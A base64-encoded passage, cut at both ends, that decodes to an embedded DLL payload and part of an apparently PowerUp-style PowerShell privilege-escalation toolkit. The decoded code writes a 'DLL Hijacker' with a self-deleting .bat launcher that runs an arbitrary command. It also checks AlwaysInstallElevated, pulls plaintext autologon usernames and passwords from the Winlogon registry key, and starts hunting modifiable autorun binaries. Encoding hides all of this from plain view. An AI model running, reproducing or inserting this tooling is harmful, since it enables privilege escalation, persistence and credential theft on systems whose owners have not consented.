QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQU84UUFBQjBuQUFBOEJBQUFCWVJBQUJjbUFBQU1CRUFBRThSQUFCZ2x3QUFXQkVBQUtvU0FBQmtsd0FBckJJQUFNY1RBQUNFbHdBQXlCTUFBQVVVQUFDOG1BQUFDQlFBQUZJVkFBQ3dsd0FBWkJVQUFKMFZBQUQ0bVFBQW9CVUFBTUVWQUFCY21BQUF4QlVBQUdjV0FBQm9tZ0FBYUJZQUFHVVlBQUM0bHdBQWVCZ0FBSjBZQUFCc213QUFvQmdBQUZVWkFBRGNsd0FBV0JrQUFOd1pBQUQ0bVFBQTNCa0FBQUFhQUFCY21BQUFBQm9BQURNYkFBQVFtQUFBTkJzQUFISWJBQUJjbUFBQWRCc0FBUFViQUFCY21BQUErQnNBQURVY0FBREVtd0FBT0J3QUFMWWNBQUJFbUFBQXVCd0FBRHNkQUFCRW1BQUFQQjBBQU1FZEFBQkVtQUFBeEIwQUFQMGRBQUJjbUFBQUFCNEFBQlllQUFCY21BQUFNQjRBQUhNZUFBQmNtQUFBZEI0QUFLY2VBQUJrbUFBQXFCNEFBT0VlQUFENG1RQUE1QjRBQUpNZkFBRDRtUUFBbEI4QUFDTWhBQUJ3bUFBQVFDRUFBR1loQUFCY21BQUFhQ0VBQURva0FBQ2dtQUFBUENRQUFLOGtBQUM4bUFBQXNDUUFBT0FsQUFBc213QUE0Q1VBQUs4bkFBRE1tQUFBc0NjQUFLWW9BQURvbUFBQXFDZ0FBSndwQUFENG1BQUFuQ2tBQU5RcEFBRDRtUUFBMUNrQUFBd3FBQUQ0bVFBQURDb0FBR0lxQUFCc213QUFaQ29BQUlJcUFBQnNtd0FBaENvQUFGUXNBQUM0bVFBQWFDd0FBQnN0QUFBUW1RQUFWQzBBQUs0dEFBQWNtUUFBc0MwQUFOY3RBQUJjbUFBQTJDMEFBQnd1QUFENG1RQUFMQzRBQUdVdUFBRDRtUUFBYUM0QUFKSXVBQUJjbUFBQWxDNEFBTTB1QUFENG1RQUEyQzRBQUJzdkFBQmNtQUFBSEM4QUFDWXdBQUFzbVFBQUtEQUFBRDh3QUFCc213QUFRREFBQVBZd0FBQzhtQUFBQURFQUFETXhBQUJjbUFBQU5ERUFBTWN4QUFCY21RQUE0REVBQUFReUFBQndtUUFBRURJQUFDZ3lBQUI0bVFBQU1ESUFBREV5QUFCOG1RQUFRRElBQUVFeUFBQ0FtUUFBMERJQUFCRXpBQUNFbVFBQUZETUFBSmd6QUFDa21RQUFtRE1BQUI4MEFBQzRtUUFBT0RRQUFCNDFBQURNbVFBQUlEVUFBR1ExQUFENG1RQUFsRFlBQUEwNEFBQzhtQUFBRURnQUFHYzRBQUJjbUFBQWFEZ0FBTjA0QUFBRW1nQUE0RGdBQUd3NUFBQzRtUUFBYkRrQUFGdzdBQUFrbWdBQVhEc0FBQlk4QUFCRW1nQUFHRHdBQUxrOEFBQmNtQUFBdkR3QUFFdzlBQUJvbWdBQVREMEFBTUUvQUFCd21nQUF4RDhBQUtKQkFBQ01tZ0FBcEVFQUFNeEJBQUJzbXdBQUZFSUFBRFJDQUFCc213QUFORUlBQU01Q0FBRDRtUUFBMEVJQUFLTkRBQUM4bUFBQXBFTUFBTWREQUFDOG1nQUF5RU1BQU9WREFBQnNtd0FBR0VRQUFFcEdBQURjbWdBQVpFWUFBSzlIQUFBTW13QUFzRWNBQU9GSEFBQnNtd0FBNUVjQUFGTklBQUFzbXdBQVZFZ0FBSEpJQUFCQW13QUFkRWdBQUtwSUFBRDRtUUFBMkVnQUFEVkxBQUJJbXdBQU9Fc0FBSHRMQUFCc213QUFmRXNBQU4xTEFBQmNtQUFBOEVzQUFKaE1BQUI0bXdBQW1Fd0FBQk5OQUFCOG13QUFLRTBBQUpSTkFBQ01td0FBc0UwQUFHQk9BQUN3bXdBQVlFNEFBSmxPQUFCc213QUFzRTRBQU9SUkFBQzRtd0FBNUZFQUFOSlZBQUM4bXdBQTFGVUFBRUJXQUFERW13QUFRRllBQUVwWEFBQzhtd0FBWUZjQUFFcFlBQURRbXdBQVRGZ0FBSzlZQUFCY21BQUFzRmdBQU0xWUFBQnNtd0FBMEZnQUFKcGJBQURVbXdBQW5Gc0FBREpjQUFEOG13QUFORndBQUpKZEFBQU1uQUFBbEYwQUFCSmVBQUEwbkFBQUZGNEFBRlJlQUFCc213QUFZRjRBQUdoZ0FBQkVuQUFBYUdBQUFPMWdBQUJjbUFBQThHQUFBTDloQUFCY21BQUEzR0VBQUVkaUFBQmNtQUFBU0dJQUFJaGlBQUJzbXdBQW9HSUFBTzVpQUFCZ25BQUFBR01BQU1kakFBQm9uQUFBNEdNQUFKVmtBQUJ3bkFBQXNHUUFBTlprQUFEVWx3QUExbVFBQVBSa0FBRFVsd0FBOUdRQUFBOWxBQURVbHdBQUZHVUFBQzlsQUFEVWx3QUFMMlVBQUZObEFBRFVsd0FBVTJVQUFHbGxBQURVbHdBQWNHVUFBSkpsQUFEVWx3QUFrbVVBQUxCbEFBRFVsd0FBc0dVQUFNdGxBQURVbHdBQXkyVUFBT1psQUFEVWx3QUE1bVVBQUFSbUFBRFVsd0FBQkdZQUFCOW1BQURVbHdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFCQUJnQUFBQVlBQUNBQUFBQUFBQUFBQUFFQUFBQUFBQUJBQUlBQUFBd0FBQ0FBQUFBQUFBQUFBQUVBQUFBQUFBQkFBa0VBQUJJQUFBQVdQQUFBRm9CQUFEa0JBQUFBQUFBQUR4aGMzTmxiV0pzZVNCNGJXeHVjejBpZFhKdU9uTmphR1Z0WVhNdGJXbGpjbTl6YjJaMExXTnZiVHBoYzIwdWRqRWlJRzFoYm1sbVpYTjBWbVZ5YzJsdmJqMGlNUzR3SWo0TkNpQWdQSFJ5ZFhOMFNXNW1ieUI0Yld4dWN6MGlkWEp1T25OamFHVnRZWE10YldsamNtOXpiMlowTFdOdmJUcGhjMjB1ZGpNaVBnMEtJQ0FnSUR4elpXTjFjbWwwZVQ0TkNpQWdJQ0FnSUR4eVpYRjFaWE4wWldSUWNtbDJhV3hsWjJWelBnMEtJQ0FnSUNBZ0lDQThjbVZ4ZFdWemRHVmtSWGhsWTNWMGFXOXVUR1YyWld3Z2JHVjJaV3c5SW1GelNXNTJiMnRsY2lJZ2RXbEJZMk5sYzNNOUltWmhiSE5sSWo0OEwzSmxjWFZsYzNSbFpFVjRaV04xZEdsdmJreGxkbVZzUGcwS0lDQWdJQ0FnUEM5eVpYRjFaWE4wWldSUWNtbDJhV3hsWjJWelBnMEtJQ0FnSUR3dmMyVmpkWEpwZEhrK0RRb2dJRHd2ZEhKMWMzUkpibVp2UGcwS1BDOWhjM05sYldKc2VUNVFRVkJCUkVSSlRrZFlXRkJCUkVSSlRrZFFRVVJFU1U1SFdGaFFRVVJFU1U1SFVFRkVSRWxPUjFoWVVFRkVSRWxPUjFCQlJFUkpUa2RZV0ZCQlJFUkpUa2RRUVVSRVNVNUhXRmhRUVVRQWNBQUFJQUFBQURDaU9LSjRvb0NpaUtLUW9waWlzS080bzhDajRLUG9vd0NBQUFBMEFBQUF1S0RJb05pZzZLRDRvQWloR0tFb29UaWhTS0ZZb1dpaGVLR0lvWmlocUtHNG9jaWgyS0hvb2ZpaENLSUFrQUFBekFBQUFLQ2hxS0d3b2JpaHdLSElvZENoMktIZ29laWg4S0g0b1FDaUNLSVFvaGlpSUtJb29qQ2lPS0pBb2tpaVVLSllvbUNpYUtKd29uaWlnS0tJb3BDaW1LS2dvcWlpc0tLNG9zQ2l5S0xRb3RpaTRLTG9vdkNpK0tJQW93aWpFS01Zb3lDaktLTXdvemlqUUtOSW8xQ2pXS05nbzJpamNLTjRvNENqaUtPUW81aWpvS09vbzdDanVLUEFvOGlqMEtQWW8rQ2o2S1B3by9pakFLUUlwQkNrR0tRZ3BDaWtNS1E0cEVDa1NLUlFwRmlrWUtSb3BIQ2tlS1NBcElpa2tLU1lwS0NrQUFBQXNBQUFGQUVBQUJDZ09LQzRvRENqT0tOQW8waWpVS05ZbzJDamFLTndvM2lqZ0tPSW81Q2ptS09nbzZpanNLTzRvOENqeUtQUW85aWo0S1Bvby9DaitLTUFwQWlrRUtRWXBDQ2tLS1F3cERpa1FLUklwRkNrV0tSZ3BHaWtjS1I0cElDa21LU2dwS2lrc0tTNHBNQ2t5S1RRcE5pazRLVG9wUENrK0tRQXBRaWxFS1VZcFNDbEtLVXdwVGlsUUtWSXBWQ2xXS1ZncFdpbGNLVjRwWUNsaUtXUXBaaWxvS1dvcGJDbHVLWEFwY2lsMEtYWXBlQ2w2S1ZZcG5pbW1LYTRwdGltR0tjd3B6aW5RS2RJcDFDbmtLc0FyZ2l1RUs0WXJpQ3VLSzR3cmppdVFLNUlybGl1WUs1b3JuQ3VlSzZBcm9pdWtLNllycUN1cUs2NHJzQ3V5SzdRcnRpdTRLN29ydkN1QUs4SXJ5Q3ZBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIgoKICAgIGlmKCRBcmNoKSB7CiAgICAgICAgaWYoJEFyY2ggLWVxICJ4NjQiKSB7CiAgICAgICAgICAgIFtCeXRlW11dJERsbEJ5dGVzID0gW0J5dGVbXV1bQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJERsbEJ5dGVzNjQpCiAgICAgICAgfQogICAgICAgIGVsc2VpZigkQXJjaCAtZXEgIng4NiIpIHsKICAgICAgICAgICAgW0J5dGVbXV0kRGxsQnl0ZXMgPSBbQnl0ZVtdXVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkRGxsQnl0ZXMzMikKICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICAgVGhyb3cgIlBsZWFzZSBzcGVjaWZ5IHg4NiBvciB4NjQgZm9yIHRoZSAtQXJjaCIKICAgICAgICB9CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAjIGlmIG5vIGFyY2hpdGVjdHVyZSBpZiBzcGVjaWZpZWQsIHRyeSB0byBhdXRvLWRldGVybWluZSB0aGUgYXJjaAogICAgICAgIGlmICgkRW52OlBST0NFU1NPUl9BUkNISVRFQ1RVUkUgLWVxICJBTUQ2NCIpIHsKICAgICAgICAgICAgW0J5dGVbXV0kRGxsQnl0ZXMgPSBbQnl0ZVtdXVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkRGxsQnl0ZXM2NCkKICAgICAgICAgICAgJEFyY2ggPSAieDY0IgogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgW0J5dGVbXV0kRGxsQnl0ZXMgPSBbQnl0ZVtdXVtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkRGxsQnl0ZXMzMikKICAgICAgICAgICAgJEFyY2ggPSAieDg2IgogICAgICAgIH0KICAgIH0KCiAgICBpZighJEJhdFBhdGgpIHsKICAgICAgICAkcGFydHMgPSAkT3V0cHV0RmlsZS5zcGxpdCgiXCIpCiAgICAgICAgJEJhdFBhdGggPSAoJHBhcnRzWzAuLiQoJHBhcnRzLmxlbmd0aC0yKV0gLWpvaW4gIlwiKSArICJcZGVidWcuYmF0IgogICAgfQogICAgZWxzZSB7CiAgICAgICAgIyBwYXRjaCBpbiB0aGUgYXBwcm9wcmlhdGUgLmJhdCBsYXVuY2hlciBwYXRoCiAgICAgICAgJERsbEJ5dGVzID0gSW52b2tlLVBhdGNoRGxsIC1EbGxCeXRlcyAkRGxsQnl0ZXMgLUZpbmRTdHJpbmcgImRlYnVnLmJhdCIgLVJlcGxhY2VTdHJpbmcgJEJhdFBhdGgKICAgIH0KCiAgICAjIGJ1aWxkIHRoZSBsYXVuY2hlciAuYmF0CiAgICBpZiAoVGVzdC1QYXRoICRCYXRQYXRoKSB7IFJlbW92ZS1JdGVtIC1Gb3JjZSAkQmF0UGF0aCB9CiAgICAiQGVjaG8gb2ZmXG4iIHwgT3V0LUZpbGUgLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQgJEJhdFBhdGggCiAgICAic3RhcnQgL2IgJENvbW1hbmQiIHwgT3V0LUZpbGUgLUVuY29kaW5nIEFTQ0lJIC1BcHBlbmQgJEJhdFBhdGggCiAgICAnc3RhcnQgL2IgIiIgY21kIC9jIGRlbCAiJX5mMCImZXhpdCAvYicgfCBPdXQtRmlsZSAtRW5jb2RpbmcgQVNDSUkgLUFwcGVuZCAkQmF0UGF0aAogICAgCiAgICAiLmJhdCBsYXVuY2hlciB3cml0dGVuIHRvOiAkQmF0UGF0aCIKCiAgICBTZXQtQ29udGVudCAtVmFsdWUgJERsbEJ5dGVzIC1FbmNvZGluZyBCeXRlIC1QYXRoICRPdXRwdXRGaWxlCiAgICAiJEFyY2ggRExMIEhpamFja2VyIHdyaXR0ZW4gdG86ICRPdXRwdXRGaWxlIgoKICAgICRPdXQgPSBOZXctT2JqZWN0IFBTT2JqZWN0IAogICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdPdXRwdXRGaWxlJyAkT3V0cHV0RmlsZQogICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdBcmNoaXRlY3R1cmUnICRBcmNoCiAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0JBVExhdW5jaGVyUGF0aCcgJEJhdFBhdGgKICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnQ29tbWFuZCcgJENvbW1hbmQKICAgICRPdXQKfQoKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMKIyBSZWdpc3RyeSBDaGVja3MKIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKZnVuY3Rpb24gR2V0LVJlZ0Fsd2F5c0luc3RhbGxFbGV2YXRlZCB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgQ2hlY2tzIGlmIHRoZSBBbHdheXNJbnN0YWxsRWxldmF0ZWQgcmVnaXN0cnkga2V5IGlzIHNldC4KICAgICAgICBUaGlzIG1lYWlucyB0aGF0IE1TSSBmaWxlcyBhcmUgYWx3YXlzIHJ1biB3aXRoIFNZU1RFTQogICAgICAgIGxldmVsIHByaXZpbGVnZXMuCgogICAgLkVYQU1QTEUKCiAgICAgICAgUFMgQzpcPiBHZXQtUmVnQWx3YXlzSW5zdGFsbEVsZXZhdGVkCgogICAgICAgIENoZWNrcyBpZiB0aGUgQWx3YXlzSW5zdGFsbEVsZXZhdGVkIHJlZ2lzdHJ5IGtleSBpcyBzZXQuCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIFBhcmFtKCkKICAgIAogICAgJE9yaWdFcnJvciA9ICRFcnJvckFjdGlvblByZWZlcmVuY2UKICAgICRFcnJvckFjdGlvblByZWZlcmVuY2UgPSAiU2lsZW50bHlDb250aW51ZSIKCiAgICBpZiAoVGVzdC1QYXRoICJIS0xNOlNPRlRXQVJFXFBvbGljaWVzXE1pY3Jvc29mdFxXaW5kb3dzXEluc3RhbGxlciIpIHsKCiAgICAgICAgJEhLTE12YWwgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpTT0ZUV0FSRVxQb2xpY2llc1xNaWNyb3NvZnRcV2luZG93c1xJbnN0YWxsZXIiIC1OYW1lIEFsd2F5c0luc3RhbGxFbGV2YXRlZCAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSkKICAgICAgICBXcml0ZS1WZXJib3NlICJIS0xNdmFsOiAkKCRIS0xNdmFsLkFsd2F5c0luc3RhbGxFbGV2YXRlZCkiCgogICAgICAgIGlmICgkSEtMTXZhbC5BbHdheXNJbnN0YWxsRWxldmF0ZWQgLWFuZCAoJEhLTE12YWwuQWx3YXlzSW5zdGFsbEVsZXZhdGVkIC1uZSAwKSl7CgogICAgICAgICAgICAkSEtDVXZhbCA9IChHZXQtSXRlbVByb3BlcnR5IC1QYXRoICJoa2N1OlNPRlRXQVJFXFBvbGljaWVzXE1pY3Jvc29mdFxXaW5kb3dzXEluc3RhbGxlciIgLU5hbWUgQWx3YXlzSW5zdGFsbEVsZXZhdGVkIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKQogICAgICAgICAgICBXcml0ZS1WZXJib3NlICJIS0NVdmFsOiAkKCRIS0NVdmFsLkFsd2F5c0luc3RhbGxFbGV2YXRlZCkiCgogICAgICAgICAgICBpZiAoJEhLQ1V2YWwuQWx3YXlzSW5zdGFsbEVsZXZhdGVkIC1hbmQgKCRIS0NVdmFsLkFsd2F5c0luc3RhbGxFbGV2YXRlZCAtbmUgMCkpewogICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiQWx3YXlzSW5zdGFsbEVsZXZhdGVkIGVuYWJsZWQgb24gdGhpcyBtYWNoaW5lISIKICAgICAgICAgICAgICAgICRUcnVlCiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIkFsd2F5c0luc3RhbGxFbGV2YXRlZCBub3QgZW5hYmxlZCBvbiB0aGlzIG1hY2hpbmUuIgogICAgICAgICAgICAgICAgJEZhbHNlCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWxzZXsKICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiQWx3YXlzSW5zdGFsbEVsZXZhdGVkIG5vdCBlbmFibGVkIG9uIHRoaXMgbWFjaGluZS4iCiAgICAgICAgICAgICRGYWxzZQogICAgICAgIH0KICAgIH0KICAgIGVsc2V7CiAgICAgICAgV3JpdGUtVmVyYm9zZSAiSEtMTTpTT0ZUV0FSRVxQb2xpY2llc1xNaWNyb3NvZnRcV2luZG93c1xJbnN0YWxsZXIgZG9lcyBub3QgZXhpc3QiCiAgICAgICAgJEZhbHNlCiAgICB9CgogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICRPcmlnRXJyb3IKfQoKCmZ1bmN0aW9uIEdldC1SZWdBdXRvTG9nb24gewo8IwogICAgLlNZTk9QU0lTCgogICAgICAgIENoZWNrcyBmb3IgRGVmYXVsdFVzZXJOYW1lL0RlZmF1bHRQYXNzd29yZCBpbiB0aGUgV2lubG9naW4gcmVnaXN0cnkgc2VjdGlvbiAKICAgICAgICBpZiB0aGUgQXV0b0FkbWluTG9nb24ga2V5IGlzIHNldC4KCiAgICAuRVhBTVBMRQoKICAgICAgICBQUyBDOlw+IEdldC1SZWdBdXRvTG9nb24KICAgICAgICBGaW5kcyBhbnkgYXV0b2xvZ29uIGNyZWRlbnRpYWxzIGxlZnQgaW4gdGhlIHJlZ2lzdHJ5LgoKICAgIC5MSU5LCgogICAgICAgIGh0dHBzOi8vZ2l0aHViLmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvYmxvYi9tYXN0ZXIvbW9kdWxlcy9wb3N0L3dpbmRvd3MvZ2F0aGVyL2NyZWRlbnRpYWxzL3dpbmRvd3NfYXV0b2xvZ2luLnJiCiM+CgogICAgW0NtZGxldEJpbmRpbmcoKV0KICAgIFBhcmFtKCkKCiAgICAkQXV0b0FkbWluTG9nb24gPSAkKEdldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLTE06U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24iIC1OYW1lIEF1dG9BZG1pbkxvZ29uIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKQoKICAgIFdyaXRlLVZlcmJvc2UgIkF1dG9BZG1pbkxvZ29uIGtleTogJCgkQXV0b0FkbWluTG9nb24uQXV0b0FkbWluTG9nb24pIgoKICAgIGlmICgkQXV0b0FkbWluTG9nb24uQXV0b0FkbWluTG9nb24gLW5lIDApewoKICAgICAgICAkRGVmYXVsdERvbWFpbk5hbWUgPSAkKEdldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLTE06U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24iIC1OYW1lIERlZmF1bHREb21haW5OYW1lIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKS5EZWZhdWx0RG9tYWluTmFtZQogICAgICAgICREZWZhdWx0VXNlck5hbWUgPSAkKEdldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLTE06U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24iIC1OYW1lIERlZmF1bHRVc2VyTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSkuRGVmYXVsdFVzZXJOYW1lCiAgICAgICAgJERlZmF1bHRQYXNzd29yZCA9ICQoR2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93cyBOVFxDdXJyZW50VmVyc2lvblxXaW5sb2dvbiIgLU5hbWUgRGVmYXVsdFBhc3N3b3JkIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKS5EZWZhdWx0UGFzc3dvcmQKICAgICAgICAkQWx0RGVmYXVsdERvbWFpbk5hbWUgPSAkKEdldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLTE06U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24iIC1OYW1lIEFsdERlZmF1bHREb21haW5OYW1lIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKS5BbHREZWZhdWx0RG9tYWluTmFtZQogICAgICAgICRBbHREZWZhdWx0VXNlck5hbWUgPSAkKEdldC1JdGVtUHJvcGVydHkgLVBhdGggIkhLTE06U09GVFdBUkVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb24iIC1OYW1lIEFsdERlZmF1bHRVc2VyTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZSkuQWx0RGVmYXVsdFVzZXJOYW1lCiAgICAgICAgJEFsdERlZmF1bHRQYXNzd29yZCA9ICQoR2V0LUl0ZW1Qcm9wZXJ0eSAtUGF0aCAiSEtMTTpTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93cyBOVFxDdXJyZW50VmVyc2lvblxXaW5sb2dvbiIgLU5hbWUgQWx0RGVmYXVsdFBhc3N3b3JkIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKS5BbHREZWZhdWx0UGFzc3dvcmQKCiAgICAgICAgaWYgKCREZWZhdWx0VXNlck5hbWUgLW9yICRBbHREZWZhdWx0VXNlck5hbWUpIHsgICAgICAgICAgICAKICAgICAgICAgICAgJE91dCA9IE5ldy1PYmplY3QgUFNPYmplY3QgCiAgICAgICAgICAgICRPdXQgfCBBZGQtTWVtYmVyIE5vdGVwcm9wZXJ0eSAnRGVmYXVsdERvbWFpbk5hbWUnICREZWZhdWx0RG9tYWluTmFtZQogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0RlZmF1bHRVc2VyTmFtZScgJERlZmF1bHRVc2VyTmFtZQogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0RlZmF1bHRQYXNzd29yZCcgJERlZmF1bHRQYXNzd29yZAogICAgICAgICAgICAkT3V0IHwgQWRkLU1lbWJlciBOb3RlcHJvcGVydHkgJ0FsdERlZmF1bHREb21haW5OYW1lJyAkQWx0RGVmYXVsdERvbWFpbk5hbWUKICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdBbHREZWZhdWx0VXNlck5hbWUnICRBbHREZWZhdWx0VXNlck5hbWUKICAgICAgICAgICAgJE91dCB8IEFkZC1NZW1iZXIgTm90ZXByb3BlcnR5ICdBbHREZWZhdWx0UGFzc3dvcmQnICRBbHREZWZhdWx0UGFzc3dvcmQKICAgICAgICAgICAgJE91dAogICAgICAgIH0KICAgIH0KfSAgIAoKCmZ1bmN0aW9uIEdldC1WdWxuQXV0b1J1biB7CjwjCiAgICAuU1lOT1BTSVMKCiAgICAgICAgUmV0dXJucyBIS0xNIGF1dG9ydW5zIHdoZXJlIHRoZSBjdXJyZW50IHVzZXIgY2FuIG1vZGlmeQogICAgICAgIHRoZSBiaW5hcnkvc2NyaXB0IChvciBpdHMgY29uZmlnKSBzcGVjaWZpZWQuCgogICAgLkVYQU1QTEUKCiAgICAgICAgUFMgQzpcPiBHZXQtVnVsbkF1dG9SdW4KCiAgICAgICAgUmV0dXJuIHZ1bG5lYWJsZSBhdXRvcnVuIGJpbmFyaWVzIChvciBhc3NvY2lhdGVkIGNvbmZpZ3MpLgojPgoKICAgIFtDbWRsZXRCaW5kaW5nKCldUGFyYW0oKQogICAgJFNlYXJjaExvY2F0aW9ucyA9IEAoICAgIkhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1biIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiSEtMTTpcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuT25jZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiSEtMTTpcU09GVFdBUkVcV293NjQzMk5vZGVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJIS0xNOlxTT0ZUV0FSRVxXb3c2NDMyTm9kZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW5PbmNlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW5TZXJ2aWNlIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW5PbmNlU2VydmljZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiSEtMTTpcU09GVFdBUkVcV293NjQzMk5vZGVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuU2VydmljZSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAiSEtMTTpcU09GVFdBUkVcV293NjQzMk5vZGVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuT25jZVNlcnZpY2UiCiAgICAgICAgICAgICAgICAgICAgICAgICkKCiAgICAkT3JpZ0Vycm9yID0gJEVycm9yQWN0aW9uUHJlZmVyZW5jZQogICAgJEVycm9yQWN0aW9uUHJlZmVyZW5jZSA9ICJTaWxlbnRseUNvbnRpbnVlIgoKICAgICRTZWFyY2hMb2NhdGlvbnMgfCBXaGVyZS1PYmplY3QgeyBUZXN0LVBhdGggJF8gfSB8IEZvckVhY2gtT2JqZWN0IHsKICAgICAgICAKICAgICAgICAkS2V5cyA9IEdldC1JdGVtIC1QYXRoICRfCiAgICAgICAgJFBhcmVudFBhdGggPSAkXwoKICAgICAgICBGb3JFYWNoICgkTmFtZSBpbiAkS2V5cy5HZXRWYWx1ZU5hbWVzKCkpIHsKCiAgICAgICAgICAgICRQYXRoID0gJCgkS2V5cy5HZXRWYWx1ZSgkTmFtZSkpCgogICAgICAgICAgICAkUGF0aCB8IEdldC1Nb2RpZmlhYmxlRmls